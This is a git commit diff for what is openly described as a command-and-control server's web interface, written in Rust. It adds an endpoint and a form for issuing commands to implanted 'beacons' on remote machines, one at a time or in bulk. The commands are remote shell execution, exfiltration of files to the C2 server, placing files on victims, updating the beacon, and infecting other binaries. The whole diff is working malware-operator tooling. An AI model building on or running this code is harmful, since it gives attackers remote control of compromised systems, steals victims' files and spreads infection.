feat: added basic command issuing
This commit is contained in:
@@ -112,7 +112,7 @@ pub fn App() -> impl IntoView {
|
||||
<Route path=path!("commands") view=crate::beacons::commands::CommandsView/>
|
||||
<Route path=path!("configs") view=crate::beacons::configs::ConfigsView/>
|
||||
<Route path=path!("templates") view=crate::beacons::templates::TemplatesView/>
|
||||
<Route path=path!("instances") view=crate::beacons::instances::InstancesView/>
|
||||
<Route path=path!("beacon/:id") view=crate::beacons::instances::InstancesView/>
|
||||
<Route path=path!("listeners") view=crate::beacons::listeners::ListenersView/>
|
||||
<Route path=path!("") view=|| view! {
|
||||
<p>"Select a menu item on the left to get started"</p>
|
||||
|
||||
@@ -1,10 +1,413 @@
|
||||
use leptos::prelude::*;
|
||||
use leptos::{either::Either, prelude::*};
|
||||
use serde::{Deserialize, Serialize};
|
||||
use leptos::server_fn::codec::{MultipartData, MultipartFormData};
|
||||
use web_sys::FormData;
|
||||
use send_wrapper::SendWrapper;
|
||||
|
||||
#[cfg(feature = "ssr")]
|
||||
use {
|
||||
leptos::server_fn::error::NoCustomError,
|
||||
sqlx::{sqlite::SqliteRow, FromRow, Row},
|
||||
tokio::io::AsyncWriteExt,
|
||||
};
|
||||
|
||||
use crate::beacons::{BeaconResources, categories::Category};
|
||||
|
||||
#[derive(Clone, Serialize, Deserialize)]
|
||||
pub enum CommandBody {
|
||||
Update,
|
||||
Exec { command: String },
|
||||
Install { target_binary: String },
|
||||
Upload { target_file: String },
|
||||
Download { src_file: String, target_path: String },
|
||||
Chdir { target_dir: String },
|
||||
Ls
|
||||
}
|
||||
|
||||
#[cfg(feature = "ssr")]
|
||||
impl FromRow<'_, SqliteRow> for CommandBody {
|
||||
fn from_row(row: &SqliteRow) -> sqlx::Result<Self> {
|
||||
match row.try_get("cmd_type")? {
|
||||
"update" => Ok(Self::Update),
|
||||
"exec" => Ok(Self::Exec {
|
||||
command: row.try_get("exec_command")?
|
||||
}),
|
||||
"install" => Ok(Self::Install {
|
||||
target_binary: row.try_get("install_target")?
|
||||
}),
|
||||
"upload" => Ok(Self::Upload {
|
||||
target_file: row.try_get("upload_src")?
|
||||
}),
|
||||
"download" => Ok(Self::Download {
|
||||
src_file: row.try_get("download_src")?,
|
||||
target_path: row.try_get("download_path")?
|
||||
}),
|
||||
"chdir" => Ok(Self::Chdir {
|
||||
target_dir: row.try_get("chdir_target")?
|
||||
}),
|
||||
"ls" => Ok(Self::Ls),
|
||||
type_name => Err(sqlx::Error::TypeNotFound {
|
||||
type_name: type_name.to_string()
|
||||
})
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
#[cfg_attr(feature = "ssr", derive(FromRow))]
|
||||
#[derive(Clone, Serialize, Deserialize)]
|
||||
pub struct BeaconCommand {
|
||||
pub command_id: i64,
|
||||
#[cfg_attr(feature = "ssr", sqlx(flatten))]
|
||||
pub body: CommandBody
|
||||
}
|
||||
|
||||
#[server(
|
||||
prefix = "/api/commands",
|
||||
endpoint = "issue_command",
|
||||
input = MultipartFormData
|
||||
)]
|
||||
pub async fn issue_command(
|
||||
data: MultipartData,
|
||||
) -> Result<(), ServerFnError> {
|
||||
let Some(user) = crate::db::user::get_auth_session().await? else {
|
||||
return Err(ServerFnError::<NoCustomError>::ServerError(
|
||||
"You are not signed in!".to_owned(),
|
||||
));
|
||||
};
|
||||
|
||||
let mut fields = std::collections::HashMap::<String, String>::new();
|
||||
let mut download_src = None::<multer::Field>;
|
||||
|
||||
let mut data = data.into_inner().ok_or(ServerFnError::<NoCustomError>::ServerError(
|
||||
"No form data was provided".to_owned(),
|
||||
))?;
|
||||
while let Ok(Some(field)) = data.next_field().await {
|
||||
let name = field.name().unwrap_or_default().to_string();
|
||||
tracing::trace!("Found field {}", &name);
|
||||
if name != "download_src" {
|
||||
fields.insert(name.clone(), field.text().await.unwrap_or_default());
|
||||
} else {
|
||||
download_src = Some(field);
|
||||
}
|
||||
}
|
||||
|
||||
enum Target {
|
||||
Beacon(String),
|
||||
Category(i64)
|
||||
}
|
||||
|
||||
let Some(target_beacons) = fields
|
||||
.get("beacon_id")
|
||||
.map(Clone::clone)
|
||||
.map(Target::Beacon)
|
||||
.or(fields
|
||||
.get("category_id")
|
||||
.map(|id| id.parse::<i64>().ok())
|
||||
.flatten()
|
||||
.map(Target::Category)) else {
|
||||
return Err(ServerFnError::<NoCustomError>::ServerError(
|
||||
"A beacon command cannot be made without a target".to_owned(),
|
||||
));
|
||||
};
|
||||
|
||||
let db = crate::db::get_db()?;
|
||||
|
||||
let command_id = match fields.get("cmd_type").map(Clone::clone).as_deref() {
|
||||
Some("update") => {
|
||||
Ok(sqlx::query!(
|
||||
"INSERT INTO beacon_command (cmd_type) VALUES ('update')"
|
||||
)
|
||||
.execute(&db)
|
||||
.await?
|
||||
.last_insert_rowid())
|
||||
}
|
||||
Some("ls") => {
|
||||
Ok(sqlx::query!(
|
||||
"INSERT INTO beacon_command (cmd_type) VALUES ('ls')"
|
||||
)
|
||||
.execute(&db)
|
||||
.await?
|
||||
.last_insert_rowid())
|
||||
}
|
||||
Some("chdir") => {
|
||||
let chdir_target = fields
|
||||
.get("chdir_target")
|
||||
.filter(|s| !s.is_empty())
|
||||
.ok_or(ServerFnError::<NoCustomError>::ServerError(
|
||||
"Directory target cannot be empty".to_owned(),
|
||||
))?;
|
||||
|
||||
Ok(sqlx::query!(
|
||||
"INSERT INTO beacon_command (cmd_type, chdir_target) VALUES ('chdir', ?)",
|
||||
chdir_target
|
||||
)
|
||||
.execute(&db)
|
||||
.await?
|
||||
.last_insert_rowid())
|
||||
}
|
||||
Some("exec") => {
|
||||
let exec_command = fields
|
||||
.get("exec_command")
|
||||
.filter(|s| !s.is_empty())
|
||||
.ok_or(ServerFnError::<NoCustomError>::ServerError(
|
||||
"Command cannot be empty".to_owned(),
|
||||
))?;
|
||||
|
||||
Ok(sqlx::query!(
|
||||
"INSERT INTO beacon_command (cmd_type, exec_command) VALUES ('exec', ?)",
|
||||
exec_command
|
||||
)
|
||||
.execute(&db)
|
||||
.await?
|
||||
.last_insert_rowid())
|
||||
}
|
||||
Some("install") => {
|
||||
let install_target = fields
|
||||
.get("install_target")
|
||||
.filter(|s| !s.is_empty())
|
||||
.ok_or(ServerFnError::<NoCustomError>::ServerError(
|
||||
"Install target cannot be empty".to_owned(),
|
||||
))?;
|
||||
|
||||
Ok(sqlx::query!(
|
||||
"INSERT INTO beacon_command (cmd_type, install_target) VALUES ('install', ?)",
|
||||
install_target
|
||||
)
|
||||
.execute(&db)
|
||||
.await?
|
||||
.last_insert_rowid())
|
||||
}
|
||||
Some("upload") => {
|
||||
let upload_src = fields
|
||||
.get("upload_src")
|
||||
.filter(|s| !s.is_empty())
|
||||
.ok_or(ServerFnError::<NoCustomError>::ServerError(
|
||||
"Upload file request path cannot be empty".to_owned(),
|
||||
))?;
|
||||
|
||||
Ok(sqlx::query!(
|
||||
"INSERT INTO beacon_command (cmd_type, upload_src) VALUES ('upload', ?)",
|
||||
upload_src
|
||||
)
|
||||
.execute(&db)
|
||||
.await?
|
||||
.last_insert_rowid())
|
||||
}
|
||||
Some("download") => {
|
||||
let download_path = fields
|
||||
.get("download_path")
|
||||
.filter(|s| !s.is_empty())
|
||||
.ok_or(ServerFnError::<NoCustomError>::ServerError(
|
||||
"Upload file request path cannot be empty".to_owned(),
|
||||
))?;
|
||||
|
||||
let mut download_src = download_src
|
||||
.ok_or(ServerFnError::<NoCustomError>::ServerError(
|
||||
"File to upload cannot be empty".to_owned(),
|
||||
))?;
|
||||
|
||||
let file_name = download_src.file_name().unwrap_or_default().to_string();
|
||||
let file_id = uuid::Uuid::new_v4();
|
||||
|
||||
let mut target_file_path = expect_context::<std::path::PathBuf>();
|
||||
target_file_path.push(file_id.to_string());
|
||||
|
||||
tracing::debug!("Writing {file_name} to {target_file_path:?}");
|
||||
|
||||
let mut target_file = tokio::fs::OpenOptions::new()
|
||||
.write(true)
|
||||
.create(true)
|
||||
.open(target_file_path)
|
||||
.await?;
|
||||
|
||||
while let Ok(Some(chunk)) = download_src.chunk().await {
|
||||
target_file.write(&chunk).await?;
|
||||
}
|
||||
|
||||
sqlx::query!(
|
||||
"INSERT INTO beacon_file (file_id, file_name) VALUES (?, ?)",
|
||||
file_id,
|
||||
file_name
|
||||
)
|
||||
.execute(&db)
|
||||
.await?;
|
||||
|
||||
Ok(sqlx::query!(
|
||||
"INSERT INTO beacon_command (cmd_type, download_src, download_path) VALUES ('download', ?, ?)",
|
||||
file_id,
|
||||
download_path
|
||||
)
|
||||
.execute(&db)
|
||||
.await?
|
||||
.last_insert_rowid())
|
||||
}
|
||||
_ => Err(ServerFnError::<NoCustomError>::ServerError(
|
||||
"Unknown command type".to_owned(),
|
||||
))
|
||||
}?;
|
||||
|
||||
let now = chrono::Utc::now();
|
||||
|
||||
match target_beacons {
|
||||
Target::Beacon(bid) => {
|
||||
sqlx::query!(
|
||||
"INSERT INTO beacon_command_invocation (command_id, issue_date, invoker_id, beacon_id)
|
||||
VALUES (?, ?, ?, ?)",
|
||||
command_id,
|
||||
now,
|
||||
user.user_id,
|
||||
bid
|
||||
)
|
||||
.execute(&db)
|
||||
.await?;
|
||||
}
|
||||
Target::Category(cid) => {
|
||||
sqlx::query!(
|
||||
"INSERT INTO beacon_command_invocation (command_id, issue_date, invoker_id, beacon_id)
|
||||
SELECT ?, ?, ?, bi.beacon_id FROM beacon_category bc
|
||||
INNER JOIN beacon_category_assignment bca ON bc.category_id = bca.category_id
|
||||
INNER JOIN beacon_instance bi ON bca.beacon_id = bi.beacon_id
|
||||
WHERE bc.category_id = ?",
|
||||
command_id,
|
||||
now,
|
||||
user.user_id,
|
||||
cid
|
||||
)
|
||||
.execute(&db)
|
||||
.await?;
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
#[component]
|
||||
pub fn CommandForm(categories: Vec<Category>, beacon_id: Option<String>) -> impl IntoView {
|
||||
let command_action = Action::new(move |data: &SendWrapper<FormData>| {
|
||||
let data = data.clone();
|
||||
async move {
|
||||
issue_command(data.take().into()).await
|
||||
}
|
||||
});
|
||||
|
||||
view! {
|
||||
{(categories.is_empty() && beacon_id.is_none())
|
||||
.then(|| view! {
|
||||
<span class="error">"Missing categories! Cannot assign a command to a category if there are no categories"</span>
|
||||
})}
|
||||
|
||||
{move || match command_action.value().get() {
|
||||
None => Either::Right(()),
|
||||
Some(v) => Either::Left(match v {
|
||||
Ok(_) => Either::Right(view! {
|
||||
<p>"Command successfully isued!"</p>
|
||||
}),
|
||||
Err(e) => Either::Left(view! {
|
||||
<p>"Error occurred issuing command:"</p>
|
||||
<p>{format!{"{e:?}"}}</p>
|
||||
})
|
||||
})
|
||||
}}
|
||||
<form on:submit:target=move |ev| {
|
||||
ev.prevent_default();
|
||||
let target = ev.target();
|
||||
let form_data = FormData::new_with_form(&target).expect("could not get formdata from form");
|
||||
command_action.dispatch(SendWrapper::new(form_data));
|
||||
}>
|
||||
<fieldset>
|
||||
<legend>"Issue new command"</legend>
|
||||
{if let Some(bid) = beacon_id.clone() {
|
||||
Either::Left(view! {
|
||||
<input name="beacon_id" type="hidden" value=bid />
|
||||
})
|
||||
} else {
|
||||
Either::Right(view! {
|
||||
<label>
|
||||
"Select a category to command"
|
||||
</label>
|
||||
<select name="category_id">
|
||||
{categories
|
||||
.iter()
|
||||
.map(|cat| view! {
|
||||
<option value=cat.category_id.to_string()>
|
||||
{cat.category_name.clone()}
|
||||
</option>
|
||||
})
|
||||
.collect_view()}
|
||||
</select>
|
||||
})
|
||||
}}
|
||||
<label>"Type of command"</label>
|
||||
<select name="cmd_type">
|
||||
<option value="exec">"Execute command"</option>
|
||||
<option value="upload">"Upload/exfil file"</option>
|
||||
<option value="download">"Download/place file"</option>
|
||||
<option value="update">"Update beacon"</option>
|
||||
<option value="chdir">"Change directory"</option>
|
||||
<option value="ls">"List files"</option>
|
||||
<option value="install">"Install to a new binary"</option>
|
||||
</select>
|
||||
<label class="cmd-exec">"Command"</label>
|
||||
<input class="cmd-exec" name="exec_command" />
|
||||
<label class="cmd-upload">"File to upload/exfil"</label>
|
||||
<input class="cmd-upload" name="upload_src" />
|
||||
<label class="cmd-chdir">"Directory to change to"</label>
|
||||
<input class="cmd-chdir" name="chdir_target" />
|
||||
<label class="cmd-install">"Binary to infect"</label>
|
||||
<input class="cmd-install" name="install_target" />
|
||||
<label class="cmd-download">"Target location for file"</label>
|
||||
<input class="cmd-download" name="download_path"/>
|
||||
<label class="cmd-download">"File to download/place"</label>
|
||||
<input class="cmd-download" name="download_src" type="file" />
|
||||
<div></div>
|
||||
<input type="submit" value="Submit" disabled=move ||command_action.pending().get()/>
|
||||
</fieldset>
|
||||
</form>
|
||||
}
|
||||
}
|
||||
|
||||
#[component]
|
||||
pub fn CommandsView() -> impl IntoView {
|
||||
view! {
|
||||
<div>
|
||||
let BeaconResources { categories, .. } = expect_context();
|
||||
|
||||
view! {
|
||||
<div class="commands">
|
||||
<h2>"Issue commands"</h2>
|
||||
<div>
|
||||
<p>
|
||||
"This page is used to issue commands to all beacons in a category. If you are looking to issue a command to a single beacon, select one from the left."
|
||||
</p>
|
||||
|
||||
<p>
|
||||
"Available commands, and the required version of the beacon:"
|
||||
</p>
|
||||
|
||||
<ul>
|
||||
<li>"Exec: execute a command"</li>
|
||||
<li>"Upload: upload a file from the server the beacon is on to the C2 server"</li>
|
||||
<li>"Download: download a file from the C2 server to the computer the beacon is on"</li>
|
||||
<li>"Update: Attempt to update the beacon on the remote system"</li>
|
||||
<li>"Chdir: change the 'working directory' of the beacon. The working directory is actually stored on the C2 server, and the only action the beacon performs is to verify such a path exists"</li>
|
||||
<li>"Ls: list files in the current 'working directory'"</li>
|
||||
<li>"Install: infect another binary (only works for sparse beacons that already infect a binary; does not work for standalone beacons)"</li>
|
||||
</ul>
|
||||
</div>
|
||||
|
||||
<Suspense fallback=|| view! { "Loading..." }>
|
||||
{move || Suspend::new(async move {
|
||||
let categories = match categories.await {
|
||||
Ok(cs) => cs,
|
||||
Err(e) => return Either::Left(view! {
|
||||
<p>{"There was an error loading categories:".to_string()}</p>
|
||||
<p>{format!("error: {}", e)}</p>
|
||||
})
|
||||
};
|
||||
|
||||
Either::Right(view! {
|
||||
<CommandForm categories beacon_id=None />
|
||||
})
|
||||
})}
|
||||
</Suspense>
|
||||
</div>
|
||||
}
|
||||
}
|
||||
|
||||
@@ -100,8 +100,6 @@ pub fn BeaconSidebar() -> impl IntoView {
|
||||
return;
|
||||
};
|
||||
|
||||
leptos::logging::log!("Received message: {m:?}");
|
||||
|
||||
match m {
|
||||
SidebarEvents::BeaconList(bs) => {
|
||||
let mut bs = bs.to_vec();
|
||||
@@ -128,7 +126,6 @@ pub fn BeaconSidebar() -> impl IntoView {
|
||||
return;
|
||||
};
|
||||
if let Some(ref mut b) = bs.iter_mut().find(|b| b.beacon_id == *bid) {
|
||||
leptos::logging::log!("Found beacon to check in");
|
||||
b.last_checkin = chrono::Utc::now();
|
||||
}
|
||||
}),
|
||||
|
||||
@@ -28,8 +28,13 @@ pub enum Command {
|
||||
/// Run the web and API server
|
||||
Serve {
|
||||
/// Address to bind to for the management interface
|
||||
#[structopt(default_value = "127.0.0.1:3000")]
|
||||
#[structopt(short = "m", long, default_value = "127.0.0.1:3000")]
|
||||
management_address: SocketAddrV4,
|
||||
|
||||
/// Where to store files to transfer to target systems, and
|
||||
/// files that are downloaded from remote systems
|
||||
#[structopt(short = "f", long, default_value = "./filetransfers")]
|
||||
file_store: PathBuf,
|
||||
},
|
||||
|
||||
/// Extract the public key and print it to standard out
|
||||
|
||||
@@ -65,9 +65,9 @@ async fn main() -> anyhow::Result<std::process::ExitCode> {
|
||||
tracing::info!("Done running database migrations!");
|
||||
|
||||
match options.command.clone() {
|
||||
Some(cli::Command::Serve { management_address }) => {
|
||||
Some(cli::Command::Serve { management_address, file_store }) => {
|
||||
tracing::info!("Performing requested action, acting as web server");
|
||||
webserver::serve_web(management_address, pool).await
|
||||
webserver::serve_web(management_address, file_store, pool).await
|
||||
}
|
||||
Some(cli::Command::ExtractPubKey {}) => Ok(ExitCode::SUCCESS),
|
||||
Some(cli::Command::User { command }) => cli::user::handle_user_command(command, pool).await,
|
||||
@@ -77,7 +77,7 @@ async fn main() -> anyhow::Result<std::process::ExitCode> {
|
||||
tracing::info!("Performing default action of acting as web server");
|
||||
|
||||
let default_management_ip = SocketAddrV4::new(Ipv4Addr::new(127, 0, 0, 1), 3000);
|
||||
webserver::serve_web(default_management_ip, pool).await
|
||||
webserver::serve_web(default_management_ip, "./filetransfers".into(), pool).await
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
use std::{net::SocketAddrV4, process::ExitCode};
|
||||
use std::{net::SocketAddrV4, path::PathBuf, process::ExitCode};
|
||||
|
||||
use axum::{
|
||||
extract::{ws, FromRef, Path, Query, State},
|
||||
@@ -480,6 +480,7 @@ async fn handle_listener_events(
|
||||
|
||||
pub async fn serve_web(
|
||||
management_address: SocketAddrV4,
|
||||
file_store: PathBuf,
|
||||
db: SqlitePool,
|
||||
) -> anyhow::Result<ExitCode> {
|
||||
let conf = get_configuration(None).unwrap();
|
||||
@@ -488,6 +489,8 @@ pub async fn serve_web(
|
||||
let beacon_event_broadcast = tokio::sync::broadcast::Sender::<sparse_handler::BeaconEvent>::new(128);
|
||||
let beacon_listeners = sparse_handler::BeaconListenerMap::default();
|
||||
|
||||
tokio::fs::create_dir_all(&file_store).await?;
|
||||
|
||||
let compression_layer = tower_http::compression::CompressionLayer::new()
|
||||
.gzip(true)
|
||||
.deflate(true)
|
||||
@@ -525,6 +528,7 @@ pub async fn serve_web(
|
||||
provide_context(beacon_listeners.clone());
|
||||
provide_context(db.clone());
|
||||
provide_context(beacon_event_broadcast.clone());
|
||||
provide_context(file_store.clone());
|
||||
},
|
||||
{
|
||||
let leptos_options = leptos_options.clone();
|
||||
|
||||
Reference in New Issue
Block a user